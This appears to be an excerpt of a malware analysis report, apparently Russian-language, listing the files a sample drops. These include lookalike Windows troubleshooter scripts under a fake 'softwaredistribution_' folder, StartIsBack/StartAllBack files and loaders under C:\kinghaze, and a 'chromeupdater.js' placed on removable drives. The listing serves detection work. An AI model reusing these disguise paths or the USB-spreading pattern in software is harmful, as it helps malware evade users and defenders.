%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_otherissue.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_pendingrestart.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_btradiooff.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_checkbt.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_disabled.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_driverproblem.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_otherissue.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_pendingrestart.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\ts_main.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\vf_btradiooff.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\cl_detectingdevice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\cl_utility.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\db_deviceerrorlibrary.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_checkdriversoninstall.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_devicedriverneedsupdate.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_drivernotfound.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_enabledevice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_informcustomer.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_pendingrestart.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_rescanalldevices.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_checkdriversoninstall.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_devicedisabled.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_devicedriverneedsupdate.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_drivernotfound.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_hardwaredevicemain.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_informcustomer.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_notworkingproperly.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_pendingrestart.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_rescanalldevices.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\device\vf_rescanalldevices.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\cl_utility.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\ts_devicecenter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_disableaddon.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_disableaddonloadingtime.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_resetcachesize.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_resetpagesyncpolicy.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_restoreieconnection.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieaddon.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieaddonloadingtime.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieconnection.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_pagesyncpolicy.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_tempfilecachesize.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\vf_iedefectiveaddon.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\iesecurity_troubleshooter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_blockpopups.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_iesecuritylevels.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_phishingfilter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_blockpopups.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_iesecuritylevels.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_phishingfilter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\cl_cicero.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\cl_telemetry.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\keyboarddiagnostic.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\rs_cicero.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\ts_cicero.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\htinteractiveres.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\interactiveres.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsnapin.dll
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsresolve.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticstroubleshoot.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsverify.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\startdpsservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\utilityfunctions.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\networking\utilitysetconstants.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\rs_programcompatibilitywizard.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\ts_programcompatibilitywizard.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\pcw\vf_programcompatibilitywizard.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\power_troubleshooter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustdimdisplay.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustscreenbrightness.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustwirelessadaptersettings.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_balanced.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_changeprocessorstate.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_disablescreensaver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_disableusbselective.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetdisplayidletimeout.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetidledisktimeout.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetidlesleepsetting.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_balanced.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_dimdisplay.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_displayidletimeout.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_idledisktimeout.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_idlesleepsetting.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_minprocessorstate.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_screenbrightness.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_screensaver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_usbselective.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_wirelessadaptersettings.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\mf_printerdiagnostic.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_cancelalljobs.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_deleteprintjobs.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_noprinterinstalled.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_printerdriver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_printerturnedoff.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_processprinterjobs.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_restartspoolerservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_setspoolerstartmode.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_spoolercrashing.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_startspoolerservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_wrongdefaultprinter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_cannotconnect.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_defaultprinter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_noprinterinstalled.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_outofpaper.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_outoftoner.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_paperjam.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerdriver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerdrivererror.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerturnedoff.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printjobsstuck.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_setspoolermode.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_spoolercrashing.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_spoolerservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\vf_printerturnedoff.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_resetwindowssearchapp.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_restoredefaults.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_restorepermissions.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_startindexingservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_checkpermissions.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_filterhostcrashing.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_forcedshutdowninrecovery.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_forcedshutdownnocorruption.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_indexingservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_indexingservicecrashing.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_protocolhostcrashing.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_searchapp.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\mf_speechdiagnostic.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\rs_calibrationrequired.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\vf_calibrationrequired.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\graphicsdriverregtool-definitions.psm1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_aud_reg_settings.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_displaytopology.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_driverblocklist.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_hevccodeccheck.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_hwdrmcheck.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_msvideo.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_unsigned.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_aud_reg_settings.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_displaytopology.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_genericfailure.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_hevccodeccheck.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_hwdrmcheck.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_msvideo.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_unsigned.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\video\ts_main.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_aud_reg_settings.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_driverblocklist.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_msvideo.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_unsigned.ps1
<Имя диска съемного носителя>:\chromeupdater.js

Удаляет файлы, которые сам же создал

%TEMP%\startscreen\startscreen.lnk
C:\kinghaze\kur.exe
C:\kinghaze\w10_1\orbs\shamrock.orb
C:\kinghaze\w10_1\orbs\start3.bmp
C:\kinghaze\w10_1\orbs\startisback_ei8htorb_v2_by_painter.bmp
C:\kinghaze\w10_1\orbs\windows 7.orb
C:\kinghaze\w10_1\startisback32.dll
C:\kinghaze\w10_1\startisback64.dll
C:\kinghaze\w10_1\startisbackcfg.exe
C:\kinghaze\w10_1\startscreen.exe
C:\kinghaze\w10_1\styles\plain10.msstyles
C:\kinghaze\w10_1\styles\plain8.msstyles
C:\kinghaze\w10_1\styles\windows 7.msstyles
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0100.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0100a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0100b.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0100c.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0100ca.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0200a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0200b.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0285.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0300a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0394.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0395.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0395a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0395d.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0397.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0400 (2).bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0400a (2).bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0400d.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0500.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0500a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0500b.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0600.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0700.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0700a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0800.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0800a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_0900.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1000.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1095.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1095a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1095b.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1095d.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1100.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1189.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1190.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1200.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1200a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1200b.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1200c.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1300.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1400.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1400a.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1400b.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1400c.bmp
C:\kinghaze\w10_2\orbs\av_startisbackorbs_1500.bmp
C:\kinghaze\w10_2\orbs\orb (01).bmp
C:\kinghaze\w10_2\orbs\orb (02).bmp
C:\kinghaze\w10_2\orbs\orb (03).bmp
C:\kinghaze\w10_2\orbs\orb (04).bmp
C:\kinghaze\w10_2\orbs\orb (05).bmp
C:\kinghaze\w10_2\orbs\orb (06).bmp
C:\kinghaze\w10_2\orbs\orb (07).bmp
C:\kinghaze\w10_2\orbs\orb (08).bmp
C:\kinghaze\w10_2\orbs\orb (09).bmp
C:\kinghaze\w10_2\orbs\orb (10).bmp
C:\kinghaze\w10_2\orbs\orb (11).bmp
C:\kinghaze\w10_2\orbs\orb (12).bmp
C:\kinghaze\w10_2\orbs\orb (13).bmp
C:\kinghaze\w10_2\orbs\orb (14).bmp
C:\kinghaze\w10_2\orbs\orb (15).bmp
C:\kinghaze\w10_2\orbs\orb (16).bmp
C:\kinghaze\w10_2\orbs\orb (17).bmp
C:\kinghaze\w10_2\orbs\orb (18).bmp
C:\kinghaze\w10_2\orbs\orb (19).bmp
C:\kinghaze\w10_2\orbs\orb (20).bmp
C:\kinghaze\w10_2\orbs\orb (21).bmp
C:\kinghaze\w10_2\orbs\orb (22).bmp
C:\kinghaze\w10_2\orbs\orb (23).bmp
C:\kinghaze\w10_2\orbs\orb (24).bmp
C:\kinghaze\w10_2\orbs\orb (25).bmp
C:\kinghaze\w10_2\orbs\orb (26).bmp
C:\kinghaze\w10_2\orbs\orb (27).bmp
C:\kinghaze\w10_2\orbs\orb (28).bmp
C:\kinghaze\w10_2\orbs\orb (29).bmp
C:\kinghaze\w10_2\orbs\orb (30).bmp
C:\kinghaze\w10_2\orbs\orb (31).bmp
C:\kinghaze\w10_2\orbs\orb (32).bmp
C:\kinghaze\w10_2\orbs\orb (33).bmp
C:\kinghaze\w10_2\orbs\orb (34).bmp
C:\kinghaze\w10_2\orbs\orb (35).bmp
C:\kinghaze\w10_2\orbs\orb (36).bmp
C:\kinghaze\w10_2\orbs\orb (37).bmp
C:\kinghaze\w10_2\orbs\orb (38).bmp
C:\kinghaze\w10_2\orbs\orb (39).bmp
C:\kinghaze\w10_2\orbs\orb (40).bmp
C:\kinghaze\w10_2\orbs\shamrock.orb
C:\kinghaze\w10_2\orbs\startisback_ei8htorb_v2_by_painter.bmp
C:\kinghaze\w10_2\orbs\windows 7.orb
C:\kinghaze\w10_2\startisback32.dll
C:\kinghaze\w10_2\startisback64.dll
C:\kinghaze\w10_2\startisbackcfg.exe
C:\kinghaze\w10_2\startscreen.exe
C:\kinghaze\w10_2\styles\aero 8.msstyles
C:\kinghaze\w10_2\styles\aerobydesign.msstyles
C:\kinghaze\w10_2\styles\aerosquared.msstyles
C:\kinghaze\w10_2\styles\g10sp.msstyles
C:\kinghaze\w10_2\styles\plain10.msstyles
C:\kinghaze\w10_2\styles\plain8.msstyles
C:\kinghaze\w10_2\styles\windows 7.msstyles
C:\kinghaze\w10_2\updatecheck.exe
C:\kinghaze\w11\darkmagicloaderx64.exe
C:\kinghaze\w11\darkmagicloaderx86.exe
C:\kinghaze\w11\darkmagicx64.dll
C:\kinghaze\w11\darkmagicx86.dll
C:\kinghaze\w11\orbs\clover.svg
C:\kinghaze\w11\orbs\e1evenorb-pr.png
C:\kinghaze\w11\orbs\w8logo.svg
C:\kinghaze\w11\orbs\windows 7.orb
C:\kinghaze\w11\ribbon\theme-dark\accessmedia.svg
C:\kinghaze\w11\ribbon\theme-dark\easyaccess.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.addremoveprograms.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.computer.manage.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.copytomenu.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.folderoptions.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.help.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.layout.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.movetomenu.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.multiverb.cmd.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.multiverb.cmdpromptasadministrator.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.open.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.opencontrolpanel.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.pastelink.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.removeproperties.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.ribbonpermissionsdialog.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.shareprivate.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.slideshow.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.systemproperties.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.troubleshoot.svg
C:\kinghaze\w11\ribbon\theme-light\accessmedia.svg
C:\kinghaze\w11\ribbon\theme-light\easyaccess.svg
C:\kinghaze\w11\ribbon\theme-light\windows.addremoveprograms.svg
C:\kinghaze\w11\ribbon\theme-light\windows.computer.manage.svg
C:\kinghaze\w11\ribbon\theme-light\windows.copytomenu.svg
C:\kinghaze\w11\ribbon\theme-light\windows.edit.svg
C:\kinghaze\w11\ribbon\theme-light\windows.email.svg
C:\kinghaze\w11\ribbon\theme-light\windows.folderoptions.svg
C:\kinghaze\w11\ribbon\theme-light\windows.help.svg
C:\kinghaze\w11\ribbon\theme-light\windows.layout.svg
C:\kinghaze\w11\ribbon\theme-light\windows.movetomenu.svg
C:\kinghaze\w11\ribbon\theme-light\windows.multiverb.cmd.svg
C:\kinghaze\w11\ribbon\theme-light\windows.multiverb.cmdpromptasadministrator.svg
C:\kinghaze\w11\ribbon\theme-light\windows.open.svg
C:\kinghaze\w11\ribbon\theme-light\windows.opencontrolpanel.svg
C:\kinghaze\w11\ribbon\theme-light\windows.pastelink.svg
C:\kinghaze\w11\ribbon\theme-light\windows.removeproperties.svg
C:\kinghaze\w11\ribbon\theme-light\windows.ribbonpermissionsdialog.svg
C:\kinghaze\w11\ribbon\theme-light\windows.shareprivate.svg
C:\kinghaze\w11\ribbon\theme-light\windows.slideshow.svg
C:\kinghaze\w11\ribbon\theme-light\windows.systemproperties.svg
C:\kinghaze\w11\ribbon\theme-light\windows.troubleshoot.svg
C:\kinghaze\w11\startallbackcfg.exe
C:\kinghaze\w11\startallbackloaderx64.dll
C:\kinghaze\w11\startallbackx64.dll
C:\kinghaze\w11\styles\plain8.msstyles
C:\kinghaze\w11\styles\windows 7.msstyles
C:\kinghaze\w11\updatecheck.exe
C:\kinghaze\w8\orbs\start3.bmp
C:\kinghaze\w8\orbs\startisback_ei8htorb_v2_by_painter.bmp
C:\kinghaze\w8\orbs\win7_106.bmp
C:\kinghaze\w8\orbs\win7_54.bmp
C:\kinghaze\w8\orbs\win7_66.bmp
C:\kinghaze\w8\orbs\win7_81.bmp
C:\kinghaze\w8\orbs\win8_106.bmp
C:\kinghaze\w8\orbs\win8_54.bmp
C:\kinghaze\w8\orbs\win8_66.bmp
C:\kinghaze\w8\orbs\win8_81.bmp
C:\kinghaze\w8\startisback32.dll
C:\kinghaze\w8\startisback64.dll
C:\kinghaze\w8\startisbackcfg.exe
C:\kinghaze\w8\startscreen.exe
C:\kinghaze\w8\styles\aero 8.msstyles
C:\kinghaze\w8\styles\aerobydesign.msstyles
C:\kinghaze\w8\styles\plain8.msstyles
C:\kinghaze\w81\orbs\shamrock_106.bmp
C:\kinghaze\w81\orbs\shamrock_54.bmp
C:\kinghaze\w81\orbs\shamrock_66.bmp
C:\kinghaze\w81\orbs\shamrock_81.bmp
C:\kinghaze\w81\orbs\start3.bmp
C:\kinghaze\w81\orbs\startisback_ei8htorb_v2_by_painter.bmp
C:\kinghaze\w81\orbs\win7_106.bmp
C:\kinghaze\w81\orbs\win7_54.bmp
C:\kinghaze\w81\orbs\win7_66.bmp
C:\kinghaze\w81\orbs\win7_81.bmp
C:\kinghaze\w81\startisback32.dll
C:\kinghaze\w81\startisback64.dll
C:\kinghaze\w81\startisbackcfg.exe
C:\kinghaze\w81\startscreen.exe
